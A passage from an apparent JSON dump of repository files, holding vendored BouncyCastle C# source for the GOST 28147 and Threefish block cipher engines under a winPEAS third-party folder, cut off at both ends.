{\n\t\t\t0x9,0x6,0x3,0x2,0x8,0xB,0x1,0x7,0xA,0x4,0xE,0xF,0xC,0x0,0xD,0x5,\n\t\t\t0x3,0x7,0xE,0x9,0x8,0xA,0xF,0x0,0x5,0x2,0x6,0xC,0xB,0x4,0xD,0x1,\n\t\t\t0xE,0x4,0x6,0x2,0xB,0x3,0xD,0x8,0xC,0xF,0x5,0xA,0x0,0x7,0x1,0x9,\n\t\t\t0xE,0x7,0xA,0xC,0xD,0x1,0x3,0x9,0x0,0x2,0xB,0x4,0xF,0x8,0x5,0x6,\n\t\t\t0xB,0x5,0x1,0x9,0x8,0xD,0xF,0x0,0xE,0x4,0x2,0x3,0xC,0x7,0xA,0x6,\n\t\t\t0x3,0xA,0xD,0xC,0x1,0x2,0x0,0xB,0x7,0x5,0x9,0x4,0x8,0xF,0xE,0x6,\n\t\t\t0x1,0xD,0x2,0x9,0x7,0xA,0x6,0x0,0x8,0xC,0x4,0x5,0xF,0x3,0xB,0xE,\n\t\t\t0xB,0xA,0xF,0x5,0x0,0xC,0xE,0x8,0x6,0x2,0x3,0x9,0x1,0x7,0xD,0x4\n\t\t};\n\n\t\tprivate static readonly byte[] ESbox_B = {\n\t\t\t0x8,0x4,0xB,0x1,0x3,0x5,0x0,0x9,0x2,0xE,0xA,0xC,0xD,0x6,0x7,0xF,\n\t\t\t0x0,0x1,0x2,0xA,0x4,0xD,0x5,0xC,0x9,0x7,0x3,0xF,0xB,0x8,0x6,0xE,\n\t\t\t0xE,0xC,0x0,0xA,0x9,0x2,0xD,0xB,0x7,0x5,0x8,0xF,0x3,0x6,0x1,0x4,\n\t\t\t0x7,0x5,0x0,0xD,0xB,0x6,0x1,0x2,0x3,0xA,0xC,0xF,0x4,0xE,0x9,0x8,\n\t\t\t0x2,0x7,0xC,0xF,0x9,0x5,0xA,0xB,0x1,0x4,0x0,0xD,0x6,0x8,0xE,0x3,\n\t\t\t0x8,0x3,0x2,0x6,0x4,0xD,0xE,0xB,0xC,0x1,0x7,0xF,0xA,0x0,0x9,0x5,\n\t\t\t0x5,0x2,0xA,0xB,0x9,0x1,0xC,0x3,0x7,0x4,0xD,0x0,0x6,0xF,0x8,0xE,\n\t\t\t0x0,0x4,0xB,0xE,0x8,0x3,0x7,0x1,0xA,0x2,0x9,0x6,0xF,0xD,0x5,0xC\n\t\t};\n\n\t\tprivate static readonly byte[] ESbox_C = {\n\t\t\t0x1,0xB,0xC,0x2,0x9,0xD,0x0,0xF,0x4,0x5,0x8,0xE,0xA,0x7,0x6,0x3,\n\t\t\t0x0,0x1,0x7,0xD,0xB,0x4,0x5,0x2,0x8,0xE,0xF,0xC,0x9,0xA,0x6,0x3,\n\t\t\t0x8,0x2,0x5,0x0,0x4,0x9,0xF,0xA,0x3,0x7,0xC,0xD,0x6,0xE,0x1,0xB,\n\t\t\t0x3,0x6,0x0,0x1,0x5,0xD,0xA,0x8,0xB,0x2,0x9,0x7,0xE,0xF,0xC,0x4,\n\t\t\t0x8,0xD,0xB,0x0,0x4,0x5,0x1,0x2,0x9,0x3,0xC,0xE,0x6,0xF,0xA,0x7,\n\t\t\t0xC,0x9,0xB,0x1,0x8,0xE,0x2,0x4,0x7,0x3,0x6,0x5,0xA,0x0,0xF,0xD,\n\t\t\t0xA,0x9,0x6,0x8,0xD,0xE,0x2,0x0,0xF,0x3,0x5,0xB,0x4,0x1,0xC,0x7,\n\t\t\t0x7,0x4,0x0,0x5,0xA,0x2,0xF,0xE,0xC,0x6,0x1,0xB,0xD,0x9,0x3,0x8\n\t\t};\n\n\t\tprivate static readonly byte[] ESbox_D = {\n\t\t\t0xF,0xC,0x2,0xA,0x6,0x4,0x5,0x0,0x7,0x9,0xE,0xD,0x1,0xB,0x8,0x3,\n\t\t\t0xB,0x6,0x3,0x4,0xC,0xF,0xE,0x2,0x7,0xD,0x8,0x0,0x5,0xA,0x9,0x1,\n\t\t\t0x1,0xC,0xB,0x0,0xF,0xE,0x6,0x5,0xA,0xD,0x4,0x8,0x9,0x3,0x7,0x2,\n\t\t\t0x1,0x5,0xE,0xC,0xA,0x7,0x0,0xD,0x6,0x2,0xB,0x4,0x9,0x3,0xF,0x8,\n\t\t\t0x0,0xC,0x8,0x9,0xD,0x2,0xA,0xB,0x7,0x3,0x6,0x5,0x4,0xE,0xF,0x1,\n\t\t\t0x8,0x0,0xF,0x3,0x2,0x5,0xE,0xB,0x1,0xA,0x4,0x7,0xC,0x9,0xD,0x6,\n\t\t\t0x3,0x0,0x6,0xF,0x1,0xE,0x9,0x2,0xD,0x8,0xC,0x4,0xB,0xA,0x5,0x7,\n\t\t\t0x1,0xA,0x6,0x8,0xF,0xB,0x0,0x4,0xC,0x3,0x5,0x9,0x7,0xD,0x2,0xE\n\t\t};\n\n\t\t//S-box for digest\n\t\tprivate static readonly byte[] DSbox_Test = {\n\t\t\t0x4,0xA,0x9,0x2,0xD,0x8,0x0,0xE,0x6,0xB,0x1,0xC,0x7,0xF,0x5,0x3,\n\t\t\t0xE,0xB,0x4,0xC,0x6,0xD,0xF,0xA,0x2,0x3,0x8,0x1,0x0,0x7,0x5,0x9,\n\t\t\t0x5,0x8,0x1,0xD,0xA,0x3,0x4,0x2,0xE,0xF,0xC,0x7,0x6,0x0,0x9,0xB,\n\t\t\t0x7,0xD,0xA,0x1,0x0,0x8,0x9,0xF,0xE,0x4,0x6,0xC,0xB,0x2,0x5,0x3,\n\t\t\t0x6,0xC,0x7,0x1,0x5,0xF,0xD,0x8,0x4,0xA,0x9,0xE,0x0,0x3,0xB,0x2,\n\t\t\t0x4,0xB,0xA,0x0,0x7,0x2,0x1,0xD,0x3,0x6,0x8,0x5,0x9,0xC,0xF,0xE,\n\t\t\t0xD,0xB,0x4,0x1,0x3,0xF,0x5,0x9,0x0,0xA,0xE,0x7,0x6,0x8,0x2,0xC,\n\t\t\t0x1,0xF,0xD,0x0,0x5,0x7,0xA,0x4,0x9,0x2,0x3,0xE,0x6,0xB,0x8,0xC\n\t\t};\n\n\t\tprivate static readonly byte[] DSbox_A = {\n\t\t\t0xA,0x4,0x5,0x6,0x8,0x1,0x3,0x7,0xD,0xC,0xE,0x0,0x9,0x2,0xB,0xF,\n\t\t\t0x5,0xF,0x4,0x0,0x2,0xD,0xB,0x9,0x1,0x7,0x6,0x3,0xC,0xE,0xA,0x8,\n\t\t\t0x7,0xF,0xC,0xE,0x9,0x4,0x1,0x0,0x3,0xB,0x5,0x2,0x6,0xA,0x8,0xD,\n\t\t\t0x4,0xA,0x7,0xC,0x0,0xF,0x2,0x8,0xE,0x1,0x6,0x5,0xD,0xB,0x9,0x3,\n\t\t\t0x7,0x6,0x4,0xB,0x9,0xC,0x2,0xA,0x1,0x8,0x0,0xE,0xF,0xD,0x3,0x5,\n\t\t\t0x7,0x6,0x2,0x4,0xD,0x9,0xF,0x0,0xA,0x1,0x5,0xB,0x8,0xE,0xC,0x3,\n\t\t\t0xD,0xE,0x4,0x1,0x7,0x0,0x5,0xA,0x3,0xC,0x8,0xF,0x6,0x2,0x9,0xB,\n\t\t\t0x1,0x3,0xA,0x9,0x5,0xB,0x4,0xF,0x8,0x6,0x7,0xE,0xD,0x0,0x2,0xC\n\t\t};\n\n\t\t//\n\t\t// pre-defined sbox table\n\t\t//\n\t\tprivate static readonly IDictionary sBoxes = Platform.CreateHashtable();\n\n\t\tstatic Gost28147Engine()\n\t\t{\n\t\t\tAddSBox(\"Default\", Sbox_Default);\n\t\t\tAddSBox(\"E-TEST\", ESbox_Test);\n\t\t\tAddSBox(\"E-A\", ESbox_A);\n\t\t\tAddSBox(\"E-B\", ESbox_B);\n\t\t\tAddSBox(\"E-C\", ESbox_C);\n\t\t\tAddSBox(\"E-D\", ESbox_D);\n\t\t\tAddSBox(\"D-TEST\", DSbox_Test);\n\t\t\tAddSBox(\"D-A\", DSbox_A);\n\t\t}\n\n\t\tprivate static void AddSBox(string sBoxName, byte[] sBox)\n\t\t{\n\t\t\tsBoxes.Add(Platform.ToUpperInvariant(sBoxName), sBox);\n\t\t}\n\n\t\t/**\n\t\t* standard constructor.\n\t\t*/\n\t\tpublic Gost28147Engine()\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* initialise an Gost28147 cipher.\n\t\t*\n\t\t* @param forEncryption whether or not we are for encryption.\n\t\t* @param parameters the parameters required to set up the cipher.\n\t\t* @exception ArgumentException if the parameters argument is inappropriate.\n\t\t*/\n\t\tpublic virtual void Init(\n\t\t\tbool forEncryption,\n\t\t\tICipherParameters parameters)\n\t\t{\n\t\t\tif (parameters is ParametersWithSBox)\n\t\t\t{\n\t\t\t\tParametersWithSBox param = (ParametersWithSBox)parameters;\n\n\t\t\t\t//\n\t\t\t\t// Set the S-Box\n\t\t\t\t//\n\t\t\t\tbyte[] sBox = param.GetSBox();\n\t\t\t\tif (sBox.Length != Sbox_Default.Length)\n\t\t\t\t\tthrow new ArgumentException(\"invalid S-box passed to GOST28147 init\");\n\n\t\t\t\tthis.S = Arrays.Clone(sBox);\n\n\t\t\t\t//\n\t\t\t\t// set key if there is one\n\t\t\t\t//\n\t\t\t\tif (param.Parameters != null)\n\t\t\t\t{\n\t\t\t\t\tworkingKey = generateWorkingKey(forEncryption,\n\t\t\t\t\t\t\t((KeyParameter)param.Parameters).GetKey());\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (parameters is KeyParameter)\n\t\t\t{\n\t\t\t\tworkingKey = generateWorkingKey(forEncryption,\n\t\t\t\t\t\t\t\t\t((KeyParameter)parameters).GetKey());\n\t\t\t}\n\t\t\telse if (parameters != null)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"invalid parameter passed to Gost28147 init - \"\n\t\t\t\t\t+ Platform.GetTypeName(parameters));\n\t\t\t}\n\t\t}\n\n\t\tpublic virtual string AlgorithmName\n\t\t{\n\t\t\tget { return \"Gost28147\"; }\n\t\t}\n\n\t\tpublic virtual bool IsPartialBlockOkay\n\t\t{\n\t\t\tget { return false; }\n\t\t}\n\n\t\tpublic virtual int GetBlockSize()\n\t\t{\n\t\t\treturn BlockSize;\n\t\t}\n\n\t\tpublic virtual int ProcessBlock(\n\t\t\tbyte[] input,\n\t\t\tint inOff,\n\t\t\tbyte[] output,\n\t\t\tint outOff)\n\t\t{\n\t\t\tif (workingKey == null)\n\t\t\t\tthrow new InvalidOperationException(\"Gost28147 engine not initialised\");\n\n\t\t\tCheck.DataLength(input, inOff, BlockSize, \"input buffer too short\");\n\t\t\tCheck.OutputLength(output, outOff, BlockSize, \"output buffer too short\");\n\n\t\t\tGost28147Func(workingKey, input, inOff, output, outOff);\n\n\t\t\treturn BlockSize;\n\t\t}\n\n\t\tpublic virtual void Reset()\n\t\t{\n\t\t}\n\n\t\tprivate int[] generateWorkingKey(\n\t\t\tbool forEncryption,\n\t\t\tbyte[] userKey)\n\t\t{\n\t\t\tthis.forEncryption = forEncryption;\n\n\t\t\tif (userKey.Length != 32)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"Key length invalid. Key needs to be 32 byte - 256 bit!!!\");\n\t\t\t}\n\n\t\t\tint[] key = new int[8];\n\t\t\tfor (int i = 0; i != 8; i++)\n\t\t\t{\n\t\t\t\tkey[i] = bytesToint(userKey, i * 4);\n\t\t\t}\n\n\t\t\treturn key;\n\t\t}\n\n\t\tprivate int Gost28147_mainStep(int n1, int key)\n\t\t{\n\t\t\tint cm = (key + n1); // CM1\n\n\t\t\t// S-box replacing\n\n\t\t\tint om = S[0 + ((cm >> (0 * 4)) & 0xF)] << (0 * 4);\n\t\t\tom += S[16 + ((cm >> (1 * 4)) & 0xF)] << (1 * 4);\n\t\t\tom += S[32 + ((cm >> (2 * 4)) & 0xF)] << (2 * 4);\n\t\t\tom += S[48 + ((cm >> (3 * 4)) & 0xF)] << (3 * 4);\n\t\t\tom += S[64 + ((cm >> (4 * 4)) & 0xF)] << (4 * 4);\n\t\t\tom += S[80 + ((cm >> (5 * 4)) & 0xF)] << (5 * 4);\n\t\t\tom += S[96 + ((cm >> (6 * 4)) & 0xF)] << (6 * 4);\n\t\t\tom += S[112 + ((cm >> (7 * 4)) & 0xF)] << (7 * 4);\n\n\t\t\t//\t\t\treturn om << 11 | om >>> (32-11); // 11-leftshift\n\t\t\tint omLeft = om << 11;\n\t\t\tint omRight = (int)(((uint)om) >> (32 - 11)); // Note: Casts required to get unsigned bit rotation\n\n\t\t\treturn omLeft | omRight;\n\t\t}\n\n\t\tprivate void Gost28147Func(\n\t\t\tint[] workingKey,\n\t\t\tbyte[] inBytes,\n\t\t\tint inOff,\n\t\t\tbyte[] outBytes,\n\t\t\tint outOff)\n\t\t{\n\t\t\tint N1, N2, tmp;  //tmp -> for saving N1\n\t\t\tN1 = bytesToint(inBytes, inOff);\n\t\t\tN2 = bytesToint(inBytes, inOff + 4);\n\n\t\t\tif (this.forEncryption)\n\t\t\t{\n\t\t\t\tfor (int k = 0; k < 3; k++)  // 1-24 steps\n\t\t\t\t{\n\t\t\t\t\tfor (int j = 0; j < 8; j++)\n\t\t\t\t\t{\n\t\t\t\t\t\ttmp = N1;\n\t\t\t\t\t\tint step = Gost28147_mainStep(N1, workingKey[j]);\n\t\t\t\t\t\tN1 = N2 ^ step; // CM2\n\t\t\t\t\t\tN2 = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (int j = 7; j > 0; j--)  // 25-31 steps\n\t\t\t\t{\n\t\t\t\t\ttmp = N1;\n\t\t\t\t\tN1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2\n\t\t\t\t\tN2 = tmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse //decrypt\n\t\t\t{\n\t\t\t\tfor (int j = 0; j < 8; j++)  // 1-8 steps\n\t\t\t\t{\n\t\t\t\t\ttmp = N1;\n\t\t\t\t\tN1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2\n\t\t\t\t\tN2 = tmp;\n\t\t\t\t}\n\t\t\t\tfor (int k = 0; k < 3; k++)  //9-31 steps\n\t\t\t\t{\n\t\t\t\t\tfor (int j = 7; j >= 0; j--)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((k == 2) && (j == 0))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak; // break 32 step\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttmp = N1;\n\t\t\t\t\t\tN1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2\n\t\t\t\t\t\tN2 = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tN2 = N2 ^ Gost28147_mainStep(N1, workingKey[0]);  // 32 step (N1=N1)\n\n\t\t\tintTobytes(N1, outBytes, outOff);\n\t\t\tintTobytes(N2, outBytes, outOff + 4);\n\t\t}\n\n\t\t//array of bytes to type int\n\t\tprivate static int bytesToint(\n\t\t\tbyte[] inBytes,\n\t\t\tint inOff)\n\t\t{\n\t\t\treturn (int)((inBytes[inOff + 3] << 24) & 0xff000000) + ((inBytes[inOff + 2] << 16) & 0xff0000) +\n\t\t\t\t\t((inBytes[inOff + 1] << 8) & 0xff00) + (inBytes[inOff] & 0xff);\n\t\t}\n\n\t\t//int to array of bytes\n\t\tprivate static void intTobytes(\n\t\t\t\tint num,\n\t\t\t\tbyte[] outBytes,\n\t\t\t\tint outOff)\n\t\t{\n\t\t\toutBytes[outOff + 3] = (byte)(num >> 24);\n\t\t\toutBytes[outOff + 2] = (byte)(num >> 16);\n\t\t\toutBytes[outOff + 1] = (byte)(num >> 8);\n\t\t\toutBytes[outOff] = (byte)num;\n\t\t}\n\n\t\t/**\n\t\t* Return the S-Box associated with SBoxName\n\t\t* @param sBoxName name of the S-Box\n\t\t* @return byte array representing the S-Box\n\t\t*/\n\t\tpublic static byte[] GetSBox(\n\t\t\tstring sBoxName)\n\t\t{\n\t\t\tbyte[] sBox = (byte[])sBoxes[Platform.ToUpperInvariant(sBoxName)];\n\n\t\t\tif (sBox == null)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"Unknown S-Box - possible types: \"\n\t\t\t\t\t+ \"\\\"Default\\\", \\\"E-Test\\\", \\\"E-A\\\", \\\"E-B\\\", \\\"E-C\\\", \\\"E-D\\\", \\\"D-Test\\\", \\\"D-A\\\".\");\n\t\t\t}\n\n\t\t\treturn Arrays.Clone(sBox);\n\t\t}\n\n\t\tpublic static string GetSBoxName(byte[] sBox)\n\t\t{\n\t\t\tforeach (string name in sBoxes.Keys)\n\t\t\t{\n\t\t\t\tbyte[] sb = (byte[])sBoxes[name];\n\t\t\t\tif (Arrays.AreEqual(sb, sBox))\n\t\t\t\t{\n\t\t\t\t\treturn name;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthrow new ArgumentException(\"SBOX provided did not map to a known one\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/ThreefishEngine.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.engines\n{\n\t/// <summary>\n\t/// Implementation of the Threefish tweakable large block cipher in 256, 512 and 1024 bit block\n\t/// sizes.\n\t/// </summary>\n\t/// <remarks>\n\t/// This is the 1.3 version of Threefish defined in the Skein hash function submission to the NIST\n\t/// SHA-3 competition in October 2010.\n\t/// <p/>\n\t/// Threefish was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir\n\t/// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker.\n\t/// <p/>\n\t/// This implementation inlines all round functions, unrolls 8 rounds, and uses 1.2k of static tables\n\t/// to speed up key schedule injection. <br/>\n\t/// 2 x block size state is retained by each cipher instance.\n\t/// </remarks>\n\tpublic class ThreefishEngine\n\t\t: IBlockCipher\n\t{\n\t\t/// <summary>\n\t\t/// 256 bit block size - Threefish-256\n\t\t/// </summary>\n\t\tpublic const int BLOCKSIZE_256 = 256;\n\t\t/// <summary>\n\t\t/// 512 bit block size - Threefish-512\n\t\t/// </summary>\n\t\tpublic const int BLOCKSIZE_512 = 512;\n\t\t/// <summary>\n\t\t/// 1024 bit block size - Threefish-1024\n\t\t/// </summary>\n\t\tpublic const int BLOCKSIZE_1024 = 1024;\n\n\t\t/**\n\t     * Size of the tweak in bytes (always 128 bit/16 bytes)\n\t     */\n\t\tprivate const int TWEAK_SIZE_BYTES = 16;\n\t\tprivate const int TWEAK_SIZE_WORDS = TWEAK_SIZE_BYTES / 8;\n\n\t\t/**\n\t     * Rounds in Threefish-256\n\t     */\n\t\tprivate const int ROUNDS_256 = 72;\n\t\t/**\n\t     * Rounds in Threefish-512\n\t     */\n\t\tprivate const int ROUNDS_512 = 72;\n\t\t/**\n\t     * Rounds in Threefish-1024\n\t     */\n\t\tprivate const int ROUNDS_1024 = 80;\n\n\t\t/**\n\t     * Max rounds of any of the variants\n\t     */\n\t\tprivate const int MAX_ROUNDS = ROUNDS_1024;\n\n\t\t/**\n\t     * Key schedule parity constant\n\t     */\n\t\tprivate const ulong C_240 = 0x1BD11BDAA9FC1A22L;\n\n\t\t/* Pre-calculated modulo arithmetic tables for key schedule lookups */\n\t\tprivate static readonly int[] MOD9 = new int[MAX_ROUNDS];\n\t\tprivate static readonly int[] MOD17 = new int[MOD9.Length];\n\t\tprivate static readonly int[] MOD5 = new int[MOD9.Length];\n\t\tprivate static readonly int[] MOD3 = new int[MOD9.Length];\n\n\t\tstatic ThreefishEngine()\n\t\t{\n\t\t\tfor (int i = 0; i < MOD9.Length; i++)\n\t\t\t{\n\t\t\t\tMOD17[i] = i % 17;\n\t\t\t\tMOD9[i] = i % 9;\n\t\t\t\tMOD5[i] = i % 5;\n\t\t\t\tMOD3[i] = i % 3;\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t     * Block size in bytes\n\t     */\n\t\tprivate readonly int blocksizeBytes;\n\n\t\t/**\n\t     * Block size in 64 bit words\n\t     */\n\t\tprivate readonly int blocksizeWords;\n\n\t\t/**\n\t     * Buffer for byte oriented processBytes to call internal word API\n\t     */\n\t\tprivate readonly ulong[] currentBlock;\n\n\t\t/**\n\t     * Tweak bytes (2 byte t1,t2, calculated t3 and repeat of t1,t2 for modulo free lookup\n\t     */\n\t\tprivate readonly ulong[] t = new ulong[5];\n\n\t\t/**\n\t     * Key schedule words\n\t     */\n\t\tprivate readonly ulong[] kw;\n\n\t\t/**\n\t     * The internal cipher implementation (varies by blocksize)\n\t     */\n\t\tprivate readonly ThreefishCipher cipher;\n\n\t\tprivate bool forEncryption;\n\n\t\t/// <summary>\n\t\t/// Constructs a new Threefish cipher, with a specified block size.\n\t\t/// </summary>\n\t\t/// <param name=\"blocksizeBits\">the block size in bits, one of <see cref=\"BLOCKSIZE_256\"/>, <see cref=\"BLOCKSIZE_512\"/>,\n\t\t///                      <see cref=\"BLOCKSIZE_1024\"/> .</param>\n\t\tpublic ThreefishEngine(int blocksizeBits)\n\t\t{\n\t\t\tthis.blocksizeBytes = (blocksizeBits / 8);\n\t\t\tthis.blocksizeWords = (this.blocksizeBytes / 8);\n\t\t\tthis.currentBlock = new ulong[blocksizeWords];\n\n\t\t\t/*\n\t         * Provide room for original key words, extended key word and repeat of key words for modulo\n\t         * free lookup of key schedule words.\n\t         */\n\t\t\tthis.kw = new ulong[2 * blocksizeWords + 1];\n\n\t\t\tswitch (blocksizeBits)\n\t\t\t{\n\t\t\t\tcase BLOCKSIZE_256:\n\t\t\t\t\tcipher = new Threefish256Cipher(kw, t);\n\t\t\t\t\tbreak;\n\t\t\t\tcase BLOCKSIZE_512:\n\t\t\t\t\tcipher = new Threefish512Cipher(kw, t);\n\t\t\t\t\tbreak;\n\t\t\t\tcase BLOCKSIZE_1024:\n\t\t\t\t\tcipher = new Threefish1024Cipher(kw, t);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new ArgumentException(\n\t\t\t\t\t\t\"Invalid blocksize - Threefish is defined with block size of 256, 512, or 1024 bits\");\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Initialise the engine.\n\t\t/// </summary>\n\t\t/// <param name=\"forEncryption\">Initialise for encryption if true, for decryption if false.</param>\n\t\t/// <param name=\"parameters\">an instance of <see cref=\"TweakableBlockCipherParameters\"/> or <see cref=\"KeyParameter\"/> (to\n\t\t///               use a 0 tweak)</param>\n\t\tpublic virtual void Init(bool forEncryption, ICipherParameters parameters)\n\t\t{\n\t\t\tbyte[] keyBytes;\n\t\t\tbyte[] tweakBytes;\n\n\t\t\tif (parameters is TweakableBlockCipherParameters)\n\t\t\t{\n\t\t\t\tTweakableBlockCipherParameters tParams = (TweakableBlockCipherParameters)parameters;\n\t\t\t\tkeyBytes = tParams.Key.GetKey();\n\t\t\t\ttweakBytes = tParams.Tweak;\n\t\t\t}\n\t\t\telse if (parameters is KeyParameter)\n\t\t\t{\n\t\t\t\tkeyBytes = ((KeyParameter)parameters).GetKey();\n\t\t\t\ttweakBytes = null;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"Invalid parameter passed to Threefish init - \"\n\t\t\t\t\t+ Platform.GetTypeName(parameters));\n\t\t\t}\n\n\t\t\tulong[] keyWords = null;\n\t\t\tulong[] tweakWords = null;\n\n\t\t\tif (keyBytes != null)\n\t\t\t{\n\t\t\t\tif (keyBytes.Length != this.blocksizeBytes)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"Threefish key must be same size as block (\" + blocksizeBytes\n\t\t\t\t\t\t\t\t\t\t\t\t+ \" bytes)\");\n\t\t\t\t}\n\t\t\t\tkeyWords = new ulong[blocksizeWords];\n\t\t\t\tfor (int i = 0; i < keyWords.Length; i++)\n\t\t\t\t{\n\t\t\t\t\tkeyWords[i] = BytesToWord(keyBytes, i * 8);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (tweakBytes != null)\n\t\t\t{\n\t\t\t\tif (tweakBytes.Length != TWEAK_SIZE_BYTES)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"Threefish tweak must be \" + TWEAK_SIZE_BYTES + \" bytes\");\n\t\t\t\t}\n\t\t\t\ttweakWords = new ulong[] { BytesToWord(tweakBytes, 0), BytesToWord(tweakBytes, 8) };\n\t\t\t}\n\t\t\tInit(forEncryption, keyWords, tweakWords);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Initialise the engine, specifying the key and tweak directly.\n\t\t/// </summary>\n\t\t/// <param name=\"forEncryption\">the cipher mode.</param>\n\t\t/// <param name=\"key\">the words of the key, or <code>null</code> to use the current key.</param>\n\t\t/// <param name=\"tweak\">the 2 word (128 bit) tweak, or <code>null</code> to use the current tweak.</param>\n\t\tinternal void Init(bool forEncryption, ulong[] key, ulong[] tweak)\n\t\t{\n\t\t\tthis.forEncryption = forEncryption;\n\t\t\tif (key != null)\n\t\t\t{\n\t\t\t\tSetKey(key);\n\t\t\t}\n\t\t\tif (tweak != null)\n\t\t\t{\n\t\t\t\tSetTweak(tweak);\n\t\t\t}\n\t\t}\n\n\t\tprivate void SetKey(ulong[] key)\n\t\t{\n\t\t\tif (key.Length != this.blocksizeWords)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"Threefish key must be same size as block (\" + blocksizeWords\n\t\t\t\t\t\t\t\t\t\t\t+ \" words)\");\n\t\t\t}\n\n\t\t\t/*\n\t         * Full subkey schedule is deferred to execution to avoid per cipher overhead (10k for 512,\n\t         * 20k for 1024).\n\t         * \n\t         * Key and tweak word sequences are repeated, and static MOD17/MOD9/MOD5/MOD3 calculations\n\t         * used, to avoid expensive mod computations during cipher operation.\n\t         */\n\n\t\t\tulong knw = C_240;\n\t\t\tfor (int i = 0; i < blocksizeWords; i++)\n\t\t\t{\n\t\t\t\tkw[i] = key[i];\n\t\t\t\tknw = knw ^ kw[i];\n\t\t\t}\n\t\t\tkw[blocksizeWords] = knw;\n\t\t\tArray.Copy(kw, 0, kw, blocksizeWords + 1, blocksizeWords);\n\t\t}\n\n\t\tprivate void SetTweak(ulong[] tweak)\n\t\t{\n\t\t\tif (tweak.Length != TWEAK_SIZE_WORDS)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"Tweak must be \" + TWEAK_SIZE_WORDS + \" words.\");\n\t\t\t}\n\n\t\t\t/*\n\t         * Tweak schedule partially repeated to avoid mod computations during cipher operation\n\t         */\n\t\t\tt[0] = tweak[0];\n\t\t\tt[1] = tweak[1];\n\t\t\tt[2] = t[0] ^ t[1];\n\t\t\tt[3] = t[0];\n\t\t\tt[4] = t[1];\n\t\t}\n\n\t\tpublic virtual string AlgorithmName\n\t\t{\n\t\t\tget { return \"Threefish-\" + (blocksizeBytes * 8); }\n\t\t}\n\n\t\tpublic virtual bool IsPartialBlockOkay\n\t\t{\n\t\t\tget { return false; }\n\t\t}\n\n\t\tpublic virtual int GetBlockSize()\n\t\t{\n\t\t\treturn blocksizeBytes;\n\t\t}\n\n\t\tpublic virtual void Reset()\n\t\t{\n\t\t}\n\n\t\tpublic virtual int ProcessBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff)\n\t\t{\n\t\t\tif ((outOff + blocksizeBytes) > outBytes.Length)\n\t\t\t{\n\t\t\t\tthrow new DataLengthException(\"Output buffer too short\");\n\t\t\t}\n\n\t\t\tif ((inOff + blocksizeBytes) > inBytes.Length)\n\t\t\t{\n\t\t\t\tthrow new DataLengthException(\"Input buffer too short\");\n\t\t\t}\n\n\t\t\tfor (int i = 0; i < blocksizeBytes; i += 8)\n\t\t\t{\n\t\t\t\tcurrentBlock[i >> 3] = BytesToWord(inBytes, inOff + i);\n\t\t\t}\n\t\t\tProcessBlock(this.currentBlock, this.currentBlock);\n\t\t\tfor (int i = 0; i < blocksizeBytes; i += 8)\n\t\t\t{\n\t\t\t\tWordToBytes(this.currentBlock[i >> 3], outBytes, outOff + i);\n\t\t\t}\n\n\t\t\treturn blocksizeBytes;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Process a block of data represented as 64 bit words.\n\t\t/// </summary>\n\t\t/// <returns>the number of 8 byte words processed (which will be the same as the block size).</returns>\n\t\t/// <param name=\"inWords\">a block sized buffer of words to process.</param>\n\t\t/// <param name=\"outWords\">a block sized buffer of words to receive the output of the operation.</param>\n\t\t/// <exception cref=\"DataLengthException\">if either the input or output is not block sized</exception>\n\t\t/// <exception cref=\"InvalidOperationException\">if this engine is not initialised</exception>\n\t\tinternal int ProcessBlock(ulong[] inWords, ulong[] outWords)\n\t\t{\n\t\t\tif (kw[blocksizeWords] == 0)\n\t\t\t{\n\t\t\t\tthrow new InvalidOperationException(\"Threefish engine not initialised\");\n\t\t\t}\n\n\t\t\tif (inWords.Length != blocksizeWords)\n\t\t\t{\n\t\t\t\tthrow new DataLengthException(\"Input buffer too short\");\n\t\t\t}\n\t\t\tif (outWords.Length != blocksizeWords)\n\t\t\t{\n\t\t\t\tthrow new DataLengthException(\"Output buffer too short\");\n\t\t\t}\n\n\t\t\tif (forEncryption)\n\t\t\t{\n\t\t\t\tcipher.EncryptBlock(inWords, outWords);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcipher.DecryptBlock(inWords, outWords);\n\t\t\t}\n\n\t\t\treturn blocksizeWords;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Read a single 64 bit word from input in LSB first order.\n\t\t/// </summary>\n\t\tinternal static ulong BytesToWord(byte[] bytes, int off)\n\t\t{\n\t\t\tif ((off + 8) > bytes.Length)\n\t\t\t{\n\t\t\t\t// Help the JIT avoid 